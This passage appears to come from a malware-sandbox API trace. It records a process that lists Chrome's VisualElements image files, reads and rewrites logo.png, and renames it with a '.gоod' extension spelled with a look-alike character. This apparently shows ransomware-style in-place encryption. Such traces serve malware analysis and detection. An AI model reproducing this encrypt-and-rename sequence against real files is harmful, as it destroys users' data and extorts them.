[0144.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0144.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements", lpFilePart=0x0) returned 0x4c [0144.129] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dc4484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dd2ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6092, dwReserved0=0x0, dwReserved1=0x0, cFileName="logobeta.png", cAlternateFileName="")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ddf234, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51df03a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x60be, dwReserved0=0x0, dwReserved1=0x0, cFileName="logodev.png", cAlternateFileName="")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dfc6f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0144.371] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e06334, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x2419, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogobeta.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0144.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e0b154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~3.PNG")) returned 1 [0144.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogodev.png", cAlternateFileName="SMALLL~4.PNG")) returned 1 [0144.372] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0144.372] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0144.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0144.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0144.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0144.373] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements", lpFilePart=0x0) returned 0x4c [0144.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dc4484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dd2ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6092, dwReserved0=0x0, dwReserved1=0x0, cFileName="logobeta.png", cAlternateFileName="")) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ddf234, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="LOGOCA~1.PNG")) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51df03a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x60be, dwReserved0=0x0, dwReserved1=0x0, cFileName="logodev.png", cAlternateFileName="")) returned 1 [0144.374] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dfc6f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="SMALLL~1.PNG")) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e06334, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x2419, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogobeta.png", cAlternateFileName="SMALLL~2.PNG")) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e0b154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="SMALLL~3.PNG")) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogodev.png", cAlternateFileName="SMALLL~4.PNG")) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51e210e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x238f, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogodev.png", cAlternateFileName="SMALLL~4.PNG")) returned 0 [0144.375] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0144.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0144.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0144.376] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0144.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), fInfoLevelId=0x0, lpFileInformation=0x3554228 | out: lpFileInformation=0x3554228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dc4484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x442a)) returned 1 [0144.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0144.377] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0144.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0144.377] GetFileType (hFile=0x630) returned 0x1 [0144.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0144.377] GetFileType (hFile=0x630) returned 0x1 [0144.377] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0144.377] ReadFile (in: hFile=0x630, lpBuffer=0x3554670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3554670*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0144.379] CloseHandle (hObject=0x630) returned 1 [0144.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0144.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0144.379] GetFileType (hFile=0x630) returned 0x1 [0144.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0144.379] GetFileType (hFile=0x630) returned 0x1 [0144.379] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x442a [0144.379] WriteFile (in: hFile=0x630, lpBuffer=0x3555920*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3555920*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0144.380] CloseHandle (hObject=0x630) returned 1 [0144.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0144.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0144.381] GetFileType (hFile=0x630) returned 0x1 [0144.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0144.381] GetFileType (hFile=0x630) returned 0x1 [0144.381] ReadFile (in: hFile=0x630, lpBuffer=0x3557bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3557bf8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0144.414] CloseHandle (hObject=0x630) returned 1 [0144.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0144.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0144.414] GetFileType (hFile=0x630) returned 0x1 [0144.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0144.414] GetFileType (hFile=0x630) returned 0x1 [0144.414] WriteFile (in: hFile=0x630, lpBuffer=0x3556938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3556938*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0144.415] CloseHandle (hObject=0x630) returned 1 [0144.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png", lpFilePart=0x0) returned 0x55 [0144.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png.gоod", lpFilePart=0x0) returned 0x5a [0144.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0144.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x524966ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x443a)) returned 1 [0144.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0144.415] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logo.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logo.png.gоod")) returned 1 [0145.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0145.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), fInfoLevelId=0x0, lpFileInformation=0x37c5ad0 | out: lpFileInformation=0x37c5ad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dd2ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6092)) returned 1 [0145.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0145.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.307] GetFileType (hFile=0x808) returned 0x1 [0145.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.307] GetFileType (hFile=0x808) returned 0x1 [0145.307] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0145.307] ReadFile (in: hFile=0x808, lpBuffer=0x37c5f38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x37c5f38*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0145.309] CloseHandle (hObject=0x808) returned 1 [0145.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png", lpFilePart=0x0) returned 0x59 [0145.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0145.309] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\logobeta.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\logobeta.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0145.309] GetFileType (hFile=0x808) returned 0x1 [0145.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0145.309] GetFileType (hFile=0x808) returned 0x1 [0145.309] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x6092 